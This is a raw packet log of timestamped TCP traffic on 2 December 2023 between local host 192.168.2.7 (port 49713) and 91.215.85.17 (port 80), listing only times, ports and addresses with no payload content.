Dec 2, 2023 18:01:40.507150888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507164001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507169008 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.507169008 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.507169008 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.507177114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507221937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507235050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507246017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507261992 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.507261992 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.507261992 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.507296085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507308006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507319927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507324934 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.507344007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507392883 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.507392883 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.507421970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507435083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507447004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507458925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507524967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507546902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507560015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507565022 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.507565022 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.507584095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507591009 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.507600069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507615089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507697105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507710934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507724047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507736921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507749081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507756948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.507756948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.507756948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.507769108 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507800102 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.507859945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507874012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507877111 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.507889986 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507905006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507916927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.507988930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.508002043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.508013964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.508034945 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.508034945 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.508034945 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.508107901 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.508174896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.508188963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.508200884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.508213997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.508227110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.508239985 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.508250952 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.508265018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.508277893 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.508291006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.508304119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.508321047 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.508321047 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.508321047 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.508409977 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.731548071 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.731566906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.731579065 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.731590986 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.731646061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.731657982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.731669903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.731782913 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.731782913 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.731794119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.731807947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.731822014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.731863022 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.731888056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.731911898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.731918097 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.731925964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.731936932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.731949091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.731976032 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.731976032 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.732124090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.732137918 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.732168913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.732182026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.732239008 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.732239008 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.733006954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.733020067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.733031988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.733045101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.733057022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.733117104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.733129025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.733164072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.733176947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.733189106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.733191013 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.733191013 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.733191013 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.733262062 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.733278036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.733290911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.733303070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.733314991 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.733398914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.733412027 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.733423948 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.733434916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.733447075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.733458996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.733475924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:40.733477116 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.733478069 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.733505011 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.733525991 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.880940914 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:40.881007910 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.110477924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.128340960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.178304911 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.203169107 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.203169107 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.432689905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452020884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452084064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452092886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452100039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452105999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452111959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452124119 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.452157974 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.452219009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452256918 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452270031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452282906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452294111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452299118 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.452327967 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.452400923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452421904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452435970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452451944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452466011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452480078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452481031 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.452481031 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.452497959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452510118 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.452529907 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.452883005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452896118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452934980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452940941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452954054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452960968 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.452966928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452979088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.452989101 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.452997923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453011990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453022957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453033924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453054905 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453054905 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453054905 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453144073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453157902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453167915 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453180075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453191042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453197956 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453206062 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453212976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453221083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453227043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453233957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453250885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453258991 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453258991 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453258991 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453258991 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453262091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453270912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453308105 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453308105 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453386068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453399897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453411102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453423023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453434944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453445911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453449011 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453449011 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453461885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453476906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453480959 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453491926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453507900 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453511000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453522921 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453527927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453547001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453564882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453577042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453588009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453600883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453613043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453627110 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453627110 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453627110 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453674078 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453727961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453742027 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453761101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453767061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453768015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453778982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453788996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453798056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453799963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453802109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453805923 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453805923 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453810930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453866959 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453866959 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453879118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453891993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453903913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453923941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453934908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453947067 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453947067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453947067 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453960896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453973055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453983068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.453991890 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.453994989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454013109 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454015017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454021931 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454027891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454055071 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454076052 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454077959 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454087973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454102993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454113960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454125881 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454138994 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454144001 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454150915 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454157114 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454164982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454176903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454186916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454197884 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454201937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454215050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454226971 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454236031 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454236031 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454238892 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454251051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454253912 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454260111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454314947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454327106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454333067 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454341888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454354048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454359055 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454365969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454392910 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454598904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454613924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454628944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454648972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454652071 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454654932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454663038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454668045 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454668045 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454674006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454706907 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454724073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454730988 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454741001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454749107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454756021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454757929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454765081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454782009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454793930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454803944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454818010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454828978 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454840899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454850912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454863071 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454874039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454885006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454886913 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454886913 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454886913 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454886913 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454886913 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454886913 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454911947 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.454947948 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454958916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454968929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454982996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454993963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.454999924 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.455008030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.455018997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.455029011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.455091000 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.455091000 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.455111980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.455125093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.455132008 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.455184937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.455190897 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.455190897 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.455199003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.455212116 CET	80	49713	91.215.85.17	192.168.2.7
